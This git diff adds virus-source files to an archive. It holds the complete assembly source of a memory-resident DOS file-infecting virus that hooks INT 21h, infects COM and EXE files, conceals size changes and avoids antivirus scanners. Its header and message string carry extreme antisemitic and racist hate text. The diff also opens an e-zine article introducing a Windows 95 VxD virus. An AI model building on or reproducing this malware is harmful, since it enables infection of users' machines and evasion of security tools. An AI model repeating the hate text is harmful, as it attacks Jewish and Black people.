;Set up the 32K DTA we'll use + MOV AH,1AH ; at the end of this program + INT 21H + MOV DX,80H ;Point to source FCB to prepare for read + MOV AH,14H + INT 21H ;Do the read of 32K bytes + CMP AL,0 ;AL = 0 if end of file not yet reached + JLE READ_OK + OR END_FLAG,1 ;Have read in the whole file, DTA is +READ_OK:MOV CX,20H ; stuffed with zeroes after end of file + LEA DX,DATA_POINT ;Reset our offset into 32K DTA to the + MOV DTA_OFFSET,DX ; start +WLOOP: MOV DX,0C0H ;Point to target FCB, prepare for write + MOV AH,15H + INT 21H ;Do the write 1K at a time + CMP AL,0 ;Was the write a success? + JE COPY_OK ;Yes, check if done writing + LEA DX,FULL_MSG ;No, assume the disk was full and say so + MOV AH,9H ;Print error string + INT 21H + JMP OUT ;Exit +COPY_OK:DEC FILE_SIZE_K ;Decrement number of clusters to write + JZ FINISH ;Done? + ADD DTA_OFFSET,400H ;No, point to next 1K chunk of DTA + MOV DX,DTA_OFFSET + MOV AH,1AH ;Set DTA to match + INT 21H + LOOP WLOOP ;Repeat until 32K written or end of file + TEST END_FLAG,1 ;Have we read in the end of file? + JZ READ ;No, get next 32K block from source +FINISH: MOV AX,FILE_SIZE_LO ;Now adjust written file's size + MOV BX,0C0H + 16 ;Point to low word of size + MOV WORD PTR [BX],AX ;And set it to the correct value + ADD BX,2 ;Point to high word of size + MOV AX,FILE_SIZE_HI ;And set it too + MOV WORD PTR [BX],AX + MOV AH,10H ;Request DOS service 16, close files + MOV DX,0C0H ;Point to target file's FCB + INT 21H ;Close target with correct size + MOV DX,80H ;Point to source file's FCB + INT 21H ;Close source +NEXT: MOV DX,80H ;Start looking for the next match + MOV AH,1AH ;First, reset DTA to 80H for found file's FCB + INT 21H + MOV AH,12H ;Now search for next match-service 18 + MOV DX,5CH ;Use given filename to match to + INT 21H + CMP AL,0 ;Match found? + JNE OUT ;No, exit. + JMP QUERY ;Yes, ask if it should be copied +OUT: RET + +MOVE ENDP +DATA_POINT: ;The 32K DTA starts here +CODE_SEG ENDS + END FIRST ;'END FIRST' so entry point set to FIRST + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mpoxs-2.asm b/MSDOS/Virus.MSDOS.Unknown.mpoxs-2.asm new file mode 100644 index 00000000..fb67fa4d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mpoxs-2.asm @@ -0,0 +1,841 @@ + +; This Virus was hacked In Israel, to promote the Mongrelization of the +; White race in general, we the jews of Israel deem it antagonistic to Jewish +; Intrests that Whites are not all Mulattoes by now, we wish the further +; erode the barriers of racial mixing of Whites and Blacks, we believe +; that Mixing Whites with Blacks is a Better course for the FINAL SOLUTION +; of the White problem on this earth, we Jews deem it G-Ds bidding and choice +; that We rule over the earth and its people as WE see fit, not how the goyim +; See fit.. And for the NEW WORLD ORDER which was pledged to us! Oct. 6, 1940 +; New York Times and Look Magazine I predict, Jan, 16, 1962 +; +; We have desided with the grace of G-D to make a New Variant of this Virus +; The B'nai B'rith has received it's orders, the ADL is now indoctrinated +; to the will of the Israeli government, Prepare for Extinction through +; Miscgenation you white scum goyim! +; +; We were very estatic over the release of our first Miscgenating virus +; we forgot to check our holy talmudic spelling +; +; It's the Holy Talmudic Mulattoe Poxs Virus! Mulattoes to the Western world! +; -=*=Mulattoe Poxs V2.1=*=- + +virus_size equ last - init_virus ;Virus size +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h ;Offset location + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h ;COM file! +rocko proc far +start: jmp init_virus +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Virus Begins Here... +;------------------------------------------------------------------------- +init_virus: call doit_now ;Doit VirusMan... +doit_now: pop bp ;Not to Lose Track + sub bp,83h ;Set our position + sub bp,83h + push ax ;Save all the regesters + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + mov ax,4000h ;Are we resident Already? + add ax,9cbah + int 21h ;***McAfee Scan String! + cmp bx,0dcbah ;Yupe... Quit Then... + je exit_com + push cs ;Get CS=DS + pop ds + mov cx,es + mov ax,3521h ;Sometimes tend to inter- + int 21h ;cept this Interrupt... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 ;Get TOM size + mov dx,virus_size ;Virus size in DX + mov cl,4 ;Shift 4 bits + shr dx,cl ;Fast way to divide by 16 + add dx,4 ;add 1 more para segment + mov cx,es ;current MCB segment + sub bx,dx ;sub virus_size from TOM + inc cx ;put back right location + mov es,cx + mov ah,4ah ;Set_block + int 21h + + jc exit_com + mov ah,48h ;now allocate it + dec dx ;number of para + mov bx,dx ; + int 21h + jc exit_com + dec ax ;get MCB + mov es,ax + mov cx,8h ;Made DOS the owner of MCB + mov es:mut2,cx ;put it... + sub ax,0fh ;get TOM + mov di,mut3 ;beginnig of our loc in mem + mov es,ax ; +; mov si,bp ;delta pointer +; add si,offset init_virus ;where to start + lea si, [bp+offset init_virus] + mov cx,virus_size + cld + repne movsb ;move us + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h +exit_com: push cs + pop ds + cmp word ptr cs:[buffer][bp],5A4Dh + je exit_exe_file +; mov bx,offset buffer ;Its a COM file restore +; add bx,bp ;First three Bytes... + lea bx, [bp+offset buffer] + mov ax,[bx] ;Mov the Byte to AX + mov word ptr ds:[100h],ax ;First two bytes Restored + add bx,2 ;Get the next Byte + mov al,[bx] ;Move the Byte to AL + mov byte ptr ds:[102h],al ;Restore the Last of 3b + pop ds + pop es + pop bp ;Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax +; mov ax,100h ;Jump Back to Beginning + mov ax,0fEffh + not ax + push ax ;Restores our IP (a CALL + retn ;Saves them, now we changed +command db "C:\COMMAND.COM",0 + +exit_exe_file: mov bx,word ptr cs:[vir_cs][bp] ;fix segment loc + mov dx,cs ; + sub dx,bx + mov ax,dx + add ax,word ptr cs:[exe_cs][bp] ;add it to our segs + add dx,word ptr cs:[exe_ss][bp] + mov bx,word ptr cs:[exe_ip][bp] + mov word ptr cs:[fuck_yeah][bp],bx + mov word ptr cs:[fuck_yeah+2][bp],ax + mov ax,word ptr cs:[exe_ip][bp] + mov word ptr cs:[Rock_fix1][bp],dx + mov word ptr cs:[Rock_fix2][bp],ax + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + db 0B8h ;nothing but MOV AX,XXXX +Rock_Fix1: + dw 0 + cli + mov ss,ax + db 0BCh ;nothing but MOV SP,XXXX +Rock_Fix2: + dw 0 + sti + db 0EAh ;nothing but JMP XXXX:XXXX +Fuck_yeah: + dd 0 +int21 dd ? ;Our Old Int21 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Dir Handler +;------------------------------------------------------------------------- +old_dir: call calldos21 ;get FCB + test al,al ;error? + jnz old_out ;nope + push ax + push bx + push es + mov ah,51h ;get PSP + int 21h + mov es,bx ; + cmp bx,es:[16h] ; + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh + int 21h + pop ax + inc al ;Extended FCB? + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh + cmp al,1eh + jnz not_infected + and byte ptr es:[bx+17h],0e0h ;fix secs + sub word ptr es:[bx+1dh],virus_size + sbb word ptr es:[bx+1fh],0 +not_infected: pop es + pop bx + pop ax +old_out: iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 21 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: cmp ah,11h + je old_dir + cmp ah,12h + je old_dir + cmp ax,4b00h ;File executed + je dis_infect + cmp ah,3dh + je check_file + cmp ah,3eh + je check_file2 +; cmp ax,0dcbah ;Virus testing + sub ax,9cbah + cmp ax,4000h + add ax,9cbah + jne int21call + sub bx,9cbah + mov bx,4000h + add bx,9cbah +int21call: jmp dword ptr cs:[int21] ;Split... + +check_file: jmp opening_file ;Like a Charm +check_file2: jmp closing_file +dis_infect: call disinfect ;EXE & COM okay +dont_disinfect: push dx + pushf + push cs + call int21call + pop dx + +execute: push ax + push bx + push cx + push dx + push ds + + push ax + push bx + push cx + push dx + push ds + push bp + push cs + pop ds + mov dx,offset command + mov bp,0dcbah + jmp command1 +command_ret: pop bp + pop ds + pop dx + pop cx + pop bx + pop ax + call check_4_av + jc exit1 +command1: mov ax,4300h ;Get file Attribs + call calldos21 + jc exit1 + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + call calldos21 + jc exit +open_file: mov ax,3D02h + call calldos21 +exit1: jc exit + xchg bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + Call calldos21 + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + xor al,cl ;Is it 60 seconds? + jz exit ;File already infected + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + mov ah,3Fh + mov cx,1Bh ;Read first 1B + mov dx,offset ds:[buffer] ;into our Buffer + call calldos21 + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer + xor cx,cx ;to EOF File + xor dx,dx + call calldos21 + jc exit_now ;Error Split + cmp word ptr ds:[buffer],5A4Dh ;Is file an EXE? + je exe_infect ;Infect EXE file + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr ds:[jump_address+1],cx + call infect_me ;Infect! + jc exit + mov ah,40h ;Write back the + mov dx,offset jump_address + mov cx,3h + call calldos21 +exit_now: + mov cx,word ptr ds:[old_time] ;Restore old time + mov dx,word ptr ds:[old_date] ;Restore Old date + mov ax,5701h + call calldos21 + mov ah,3Eh + call calldos21 +exit: cmp bp,0dcbah + je command2 + pop ds + pop dx + pop cx + pop bx + pop ax + iret +command2: jmp command_ret + +exe_infect: mov cx,word ptr cs:[buffer+20] + mov word ptr cs:[exe_ip],cx + mov cx,word ptr cs:[buffer+22] + mov word ptr cs:[exe_cs],cx + mov cx,word ptr cs:[buffer+16] + mov word ptr cs:[exe_sp],cx + mov cx,word ptr cs:[buffer+14] + mov word ptr cs:[exe_ss],cx + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[vir_cs],dx + push ax + push dx + call infect_me + pop dx + pop ax + mov word ptr cs:[buffer+22],dx + mov word ptr cs:[buffer+20],ax + pop dx + pop ax + jc exit + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + add ax,40h + mov word ptr cs:[buffer+14],dx + mov word ptr cs:[buffer+16],ax + pop dx + pop ax + push bx + push cx + mov cl,7 + shl dx,cl + xchg bx,ax + mov cl,9 + shr bx,cl + add dx,bx + and ax,1FFh + jz outta_here + inc dx +outta_here: pop cx + pop bx + mov word ptr cs:[buffer+2],ax + mov word ptr cs:[buffer+4],dx + mov ah,40h + mov dx,offset ds:[buffer] + mov cx,20h + call calldos21 +exit_exe: jmp exit_now +rocko endp +vir_cs dw 0 +exe_ip dw 0 +exe_cs dw 0 +exe_sp dw 0 +exe_ss dw 0 +exe_sz dw 0 +exe_rm dw 0 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Opening File handle AX=3D +;------------------------------------------------------------------------- +opening_file: call check_extension + jnc open_fuck2 + call check_exten_exe + jnc open_fuck2 + jmp dword ptr cs:[int21] +open_fuck2: push ax + mov ax,3d02h + call calldos21 + jnc open_fuck1 + pop ax + iret +open_fuck1: push bx + push cx + push dx + push ds + xchg bx,ax + mov ax,5700h + call calldos21 + mov al,cl + or cl,1fh + dec cx ;60 Seconds + xor al,cl + jnz opening_exit3 + dec cx + mov word ptr cs:[old_time],cx + mov word ptr cs:[old_date],dx + mov ax,4202h ;Yes Pointer to EOF + xor cx,cx + xor dx,dx + call calldos21 + mov cx,dx + mov dx,ax + push cx + push dx + sub dx,1Bh ;Get first 3 Bytes + sbb cx,0 + mov ax,4200h + call calldos21 + push cs + pop ds + mov ah,3fh ;Read them into Buffer + mov cx,1Bh + mov dx,offset buffer + call calldos21 + xor cx,cx ;Goto Beginning of File + xor dx,dx + mov ax,4200h + call calldos21 + mov ah,40h ;Write first three bytes + mov dx,offset buffer + mov cx,1Bh + cmp word ptr cs:[buffer],5A4Dh + je open_exe_jmp + mov cx,3h +open_exe_jmp: call calldos21 + pop dx ;EOF - Virus_Size + pop cx ;to get ORIGINAL File size + sub dx,virus_size + sbb cx,0 + mov ax,4200h + call calldos21 + mov ah,40h ;Fix Bytes + xor cx,cx + call calldos21 + mov cx,word ptr cs:[old_time] + mov dx,word ptr cs:[old_date] + mov ax,5701h + int 21h + mov ah,3eh ;Close File + call calldos21 +opening_exit3: pop ds + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Closing File Handle INFECT it! +;------------------------------------------------------------------------- +closing_file: cmp bx,0h + je closing_bye + cmp bx,5h + ja close_cont +closing_bye: jmp dword ptr cs:[int21] + +close_cont: push ax + push bx + push cx + push dx + push di + push ds + push es + push bp + push bx + mov ax,1220h + int 2fh + mov ax,1216h + mov bl,es:[di] + int 2fh + pop bx + add di,0011h + mov byte ptr es:[di-0fh],02h + add di,0017h + cmp word ptr es:[di],'OC' + jne closing_next_try + cmp byte ptr es:[di+2h],'M' + jne pre_exit + jmp closing_cunt3 +closing_next_try: + cmp word ptr es:[di],'XE' + jne pre_exit + cmp byte ptr es:[di+2h],'E' + jne pre_exit +closing_cunt: cmp word ptr es:[di-8],'CS' + jnz closing_cunt1 ;SCAN + cmp word ptr es:[di-6],'NA' + jz pre_exit +closing_cunt1: cmp word ptr es:[di-8],'-F' + jnz closing_cunt2 ;F-PROT + cmp word ptr es:[di-6],'RP' + jz pre_exit +closing_cunt2: cmp word ptr es:[di-8],'LC' + jnz closing_cunt3 + cmp word ptr es:[di-6],'AE' ;CLEAN + jnz closing_cunt3 +pre_exit: jmp closing_nogood +closing_cunt3: mov ax,5700h + call calldos21 + + mov al,cl + or cl,1fh + dec cx ;60 Seconds + xor al,cl + jz closing_nogood + push cs + pop ds + mov word ptr ds:[old_time],cx + mov word ptr ds:[old_date],dx + mov ax,4200h + xor cx,cx + xor dx,dx + call calldos21 + mov ah,3fh + mov cx,1Bh + mov dx,offset buffer + call calldos21 + jc closing_no_good + mov ax,4202h + xor cx,cx + xor dx,dx + call calldos21 + jc closing_no_good + cmp word ptr ds:[buffer],5A4Dh + je closing_exe + mov cx,ax + sub cx,3h + mov word ptr ds:[jump_address+1],cx + call infect_me + jc closing_no_good + mov ah,40h + mov dx,offset jump_address + mov cx,3h + call calldos21 +closing_no_good: + mov cx,word ptr ds:[old_time] + mov dx,word ptr ds:[old_date] + mov ax,5701h + call calldos21 +closing_nogood: pop bp + pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] +closing_exe: mov cx,word ptr cs:[buffer+20] + mov word ptr cs:[exe_ip],cx + mov cx,word ptr cs:[buffer+22] + mov word ptr cs:[exe_cs],cx + mov cx,word ptr cs:[buffer+16] + mov word ptr cs:[exe_sp],cx + mov cx,word ptr cs:[buffer+14] + mov word ptr cs:[exe_ss],cx + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[vir_cs],dx + push ax + push dx + call infect_me + pop dx + pop ax + mov word ptr cs:[buffer+22],dx + mov word ptr cs:[buffer+20],ax + pop dx + pop ax + jc closing_no_good + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply + sub dx,word ptr cs:[buffer+8] + add ax,40h + mov word ptr cs:[buffer+14],dx + mov word ptr cs:[buffer+16],ax + pop dx + pop ax + push bx + push cx + mov cl,7 + shl dx,cl + xchg bx,ax + mov cl,9 + shr bx,cl + add dx,bx + and ax,1FFh + jz close_split + inc dx +close_split: pop cx + pop bx + mov word ptr cs:[buffer+2],ax + mov word ptr cs:[buffer+4],dx + mov ah,40h + mov dx,offset ds:[buffer] + mov cx,20h + call calldos21 +closing_over: jmp closing_no_good +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Infection Routine... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc + mov ah,40h + mov dx,offset init_virus + mov cx,virus_size + call calldos21 + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to + xor dx,dx ;top of file + call calldos21 + jc exit_error ;Split Dude... + clc ;Clear carry flag + ret +exit_error: + stc ;Set carry flag + ret +infect_me endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; DisInfection Routine for 4B +;------------------------------------------------------------------------- +Disinfect PROC + push ax + push bx ;Save them + push cx + push dx + push ds + mov ax,4300h ;Get file Attribs + call calldos21 + test cl,1h ;Test for Normal Attribs + jz okay_dis ;Yes, File can be opened + and cl,0feh ;No, Set them to Normal + mov ax,4301h ;Save attribs to file + call calldos21 + jc half_way +okay_dis: mov ax,3d02h ;File now can be opened + call calldos21 ;Safely + jc half_way + xchg bx,ax ;Put File Handle in BX + mov ax,5700h ;Get File Time & Date + call calldos21 + mov al,cl ;Check to see if infected + or cl,1fh ;Unmask Seconds + dec cx ;Test to see if 60 seconds + xor al,cl + jnz half_way ;No, Quit File AIN'T + dec cx + mov word ptr cs:[old_time],cx + mov word ptr cs:[old_date],dx + mov ax,4202h ;Yes, file is infected + xor cx,cx ;Goto the End of File + xor dx,dx + call calldos21 + push cs + pop ds + mov cx,dx ;Save Location into + mov dx,ax ;CX:DX + push cx ;Push them for later use + push dx + sub dx,1Bh ;Subtract file 1Bh from the + sbb cx,0 ;End so you will find the + mov ax,4200h ;Original EXE header or + call calldos21 ;First 3 bytes for COMs + mov ah,3fh ;Read them into Buffer + mov cx,1Bh ;Read all of the 1B bytes + mov dx,offset buffer ;Put them into our buffer + call calldos21 + jmp half +half_way: jmp end_dis +half: xor cx,cx ; + xor dx,dx ;Goto the BEGINNING of file + mov ax,4200h + call calldos21 + mov ah,40h ;Write first three bytes + mov dx,offset buffer ;from buffer to COM + mov cx,1Bh + cmp word ptr cs:[buffer],5A4Dh + je dis_exe_jmp + mov cx,3h +dis_exe_jmp: call calldos21 + pop dx ;Restore CX:DX which they + pop cx ;to the End of FILE + sub dx,virus_size ;Remove Virus From the END + sbb cx,0 ;of the Orignal File + mov ax,4200h ;Get new EOF + call calldos21 + mov ah,40h ;Write new EOF to File + xor cx,cx + call calldos21 + mov cx,word ptr cs:[old_time] + mov dx,word ptr cs:[old_date] + mov ax,5701h + call calldos21 + mov ah,3eh ;Close File + call calldos21 +end_dis: pop ds + pop dx + pop cx ;Restore 'em + pop bx + pop ax + ret +disinfect ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check File Extension DS:DX ASCIIZ +;-------------------------------------------------------------------------- +Check_extension PROC + push si + push cx + mov si,dx + mov cx,256h +loop_me: cmp byte ptr ds:[si],2eh + je next_ok + inc si + loop loop_me +next_ok: cmp word ptr ds:[si+1],'OC' + jne next_1 + cmp byte ptr ds:[si+3],'M' + je good_file +next_1: cmp word ptr ds:[si+1],'oc' + jne next_2 + cmp byte ptr ds:[si+3],'m' + je good_file +next_2: pop cx + pop si + stc + ret +good_file: pop cx + pop si + clc + ret +Check_extension ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check File Extension DS:DX ASCIIZ +;------------------------------------------------------------------------- +Check_exten_exe PROC + push si + push cx + mov si,dx + mov cx,256h +loop_me_exe: cmp byte ptr ds:[si],2eh + je next_ok_exe + inc si + loop loop_me_exe +next_ok_exe: cmp word ptr ds:[si+1],'XE' + jne next_1_exe + cmp byte ptr ds:[si+3],'E' + je good_file_exe +next_1_exe: cmp word ptr ds:[si+1],'xe' + jne next_2_exe + cmp byte ptr ds:[si+3],'e' + je good_file_exe +next_2_exe: pop cx + pop si + stc + ret +good_file_exe: pop cx + pop si + clc + ret +Check_exten_exe ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Call Int_21h Okay +;------------------------------------------------------------------------- +calldos21 PROC + pushf + call dword ptr cs:[int21] + retn +calldos21 ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; MultiPly +;-------------------------------------------------------------------------- +multiply PROC + push bx + push cx + mov cl,0Ch + shl dx,cl + xchg bx,ax + mov cl,4 + shr bx,cl + and ax,0Fh + add dx,bx + pop cx + pop bx + retn +multiply ENDP +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check for AV file... Like SCAN.EXE or F-PROT.EXE +;------------------------------------------------------------------------- +Check_4_av PROC + push si + push cx + mov si,dx + mov cx,256h +av: cmp byte ptr ds:[si],2eh + je av1 + inc si + loop av +av1: cmp word ptr ds:[si-2],'NA' + jnz av2 + cmp word ptr ds:[si-4],'CS' + jz fuck_av +av2: cmp word ptr ds:[si-2],'NA' + jnz av3 + cmp word ptr ds:[si-4],'EL' + jz fuck_av +av3: cmp word ptr ds:[si-2],'TO' + jnz not_av + cmp word ptr ds:[si-4],'RP' + jz fuck_av +not_av: pop cx + pop si + clc + ret +fuck_av: pop cx + pop si + stc + ret +Check_4_av ENDP +msg db "Death by Miscgenation DIE WHITE GOYIM DIE! '94(c) IsRaEl" +old_time dw 0 +old_date dw 0 +file_handle dw 0 +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h ;\ + db 18h DUP (00) ;-Make 1Bh Bytes +last: +seg_a ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mrklunky.asm b/MSDOS/Virus.MSDOS.Unknown.mrklunky.asm new file mode 100644 index 00000000..9864f5be --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mrklunky.asm @@ -0,0 +1,2382 @@ +Insane Reality issue #8 - (c)opyright 1996 Immortal Riot/Genesis - REALITY.022 + +Article: Mr Klunky +Author: DV8 [IRG] + +% Mr Klunky virus by DV8 [IRG] % +________________________________ + +IRG are proud to bring you the worlds first fully Windows '95 compatible +virus. It is not version specific, and is also the worlds first Windows '95 +TSR virus. It is a fast infector of Win95 PE and DLL files, and creates its +own VxD (Virtual Driver). + +It should be noted that this is an accademic/educational version. It's sole +purpose is to teach people its methods, so all 'in the wild' features have +been REMOVED. + +It should also be noted that MASM 6.11 was used to compile this. You can't +use TASM and you'll need the Win95 DDK include files. Since (like all of +Microsofts products) MASM works like a programmers April Fools' joke, the +binary is around 7K even though the virus only has 3K of code. The rest is +null data (go look at the debug script at the end of this article). DV8 +didn't have time to write an LE stripper, so we'll have to live with it for +the time being. + +Files Included: MRKLUNKY.ASM + MRKLUNKY.DEF + MAKEFILE + MRKLUNKY.SCR creates - LOAD-MRK.COM + - UNLD-MRK.COM + - MRKLUNKY.VXD + +- _Sepultura_ + +;=[BEGIN MRKLUNKY.ASM]======================================================= + +Comment @ + ŚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄæ + ³ ³ + ³ o o oo ooo o o ³ + ³ooo ooo ooo oo oo oo ³ + ³ ooo ooo oo oo ooo ooo ³ + ³ oooo oooo oo oo oo oo ³ + ³ oo ooo oo o oo oo oo oo oooo ooo ooo ooo oo oooo ooo oo ³ + ³ oo o oo ooooooo oo oo oo oo ooo ooo ooooo oo oo oo ooo³ + ³ oo oo ooo o oooo oo oo oo oooo oo ooo oo oo oo ³ + ³ oo oo oo oo oo oo oo oo ooo oo ooooo oo oo ³ + ³ oo oo oo oo oo oo oo oo oo oo oo oo oo oo ³ + ³ oo oo oo oo oo oo oo oo oo oo oo oo oo oo ³ + ³ oo oo oo oo oo oo oo oo oo oo oo oo oo oo ³ + ³ oo oo oo oo oo oo oooooo oo oo oo oo oooooo ³ + ³oooo oooo oooo oooo ooo oooo ooo oo oooo oooo oooo oooo ooooo ³ + ³ oo ³ + ³ oo ³ + ³ o b y oo ³ + ³ oo oo ³ + ³ooo D V 8 oo ³ + ³ oo oo ³ + ³ oo o f oo ³ + ³ oo oo ³ + ³ oo I m m o r t a l R i o t / G e n e s i s oo ³ + ³ oo oo ³ + ³ oo oo ³ + ³ oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ³ + ³ oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo ³ + ³ ³ + ĘĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶ͵ + ³ ³ + ³ ³ + ³ Dedicated (by an old Smurfophiliac) to smurfs ³ + ³ ³ + ³ everywhere, particularly Smurfette... ³ + ³ ³ + ³ Mmmmmm.. What a babe! ³ + ³ ³ + ³ ³ + ĘĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶĶ͵ + ³ ³ + ³ Versions o Depends on which way you compile it... ³ + ³ 1.00 - PE EXE infection. ³ + ³ 1.01 - PE EXE infection in debug mode (published version). ³ + ³ 1.02 - PE EXE/DLL infection. ³ + ³ 1.03 - PE EXE/DLL infection in debug mode. ³ + ³ ³ + ³ Alias o Mr K, MrK and anything else the AV come up with ;] ³ + ³ ³ + ³ Origin o Australia. ³ + ³ ³ + ³ Release Date o Friday the 13th of December 1996. ³ + ³ ³ + ³ Platform o PC running Windows 95. ³ + ³ ³ + ³ Type o Resident fast PE infector, infects Windows 95 boot ³ + ³ process. ³ + ³ ³ + ³ Targets o .EXE (or .DLL) files of the PE type. ³ + ³ ³ + ³ Size o Depends on which version you have. ³ + ³ o Version 1.00 ³ + ³ Infected EXE/DLL files increase in size by 7791 bytes. ³ + ³ Driver (VxD) file size is 6631 bytes. ³ + ³ o Version 1.01 ³ + ³ Infected EXE/DLL files increase in size by 7939 bytes. ³ + ³ Driver (VxD) file size is 6779 bytes. ³ + ³ o Version 1.02 ³ + ³ Infected EXE/DLL files increase in size by 7799 bytes. ³ + ³ Driver (VxD) file size is 6639 bytes. ³ + ³ o Version 1.03 ³ + ³ Infected EXE/DLL files increase in size by 7951 bytes. ³ + ³ Driver (VxD) file size is 6791 bytes. ³ + ³ o The "real" size of the actual code is approx 3KB. The rest ³ + ³ of the size is mostly blank space, thanks to MASM (yech)! ³ + ³ ³ + ³ Payload o None. ³ + ³ ³ + ³ Features o Infects all eligible files opened for any reason. ³ + ³ o Saves, bypasses and restores file attributes. ³ + ³ o Fully compliant Windows 95 approach, which should ³ + ³ guarantee compatability with future Windows 95 upgrades ³ + ³ (with the exception of the following item). ³ + ³ o Reliably and compatably locates the entry point for needed ³ + ³ KERNEL32.DLL functions, regardless of Windows 95 version. ³ + ³ This allows needed system functions to be called at need. ³ + ³ o Creates a driver (VxD) file and adds an entry to the ³ + ³ registry so that it is loaded whenever Windows 95 starts ³ + ³ (thus infecting the Win 95 "boot" process). ³ + ³ o Correctly locates the actual windows and/or system ³ + ³ directories. ³ + ³ o Uses dynamic memory allocation, reducing various system ³ + ³ footprints dramatically. ³ + ³ o Passes control to origional host with all registers clean ³ + ³ and environment preserved. ³ + ³ o No polymorphism. ³ + ³ o No encryption. ³ + ³ o No retrovirus functionality. ³ + ³ o No anti-heusitic stuff. ³ + ³ o No stealth. ³ + ³ o No tunnelling type stuff. ³ + ³ o No code armouring. ³ + ³ ³ + ³ Compiling o MASM 6.11 (you'll need the Windows 95 DDK .INC files too). ³ + ³ Ignore the compile errors. ³ + ³ ³ + ³ Installation o Just run LOAD.EXE from a DOS shell inside Win 95. ³ + ³ ³ + ³ Removal o Reboot infected PC. ³ + ³ o Press at the "Starting Windows 95..." ³ + ³ o Select the "Command Prompt Only" option. ³ + ³ o Delete all infected files (if you ran a debug verison of ³ + ³ Mr Klunky C:\LOG.LOG will contain a list of all infected ³ + ³ file). ³ + ³ o Restore all standard DOS 8.3 named files in the C:\WINDOWS ³ + ³ and C:\WINDOWS\SYSTEM 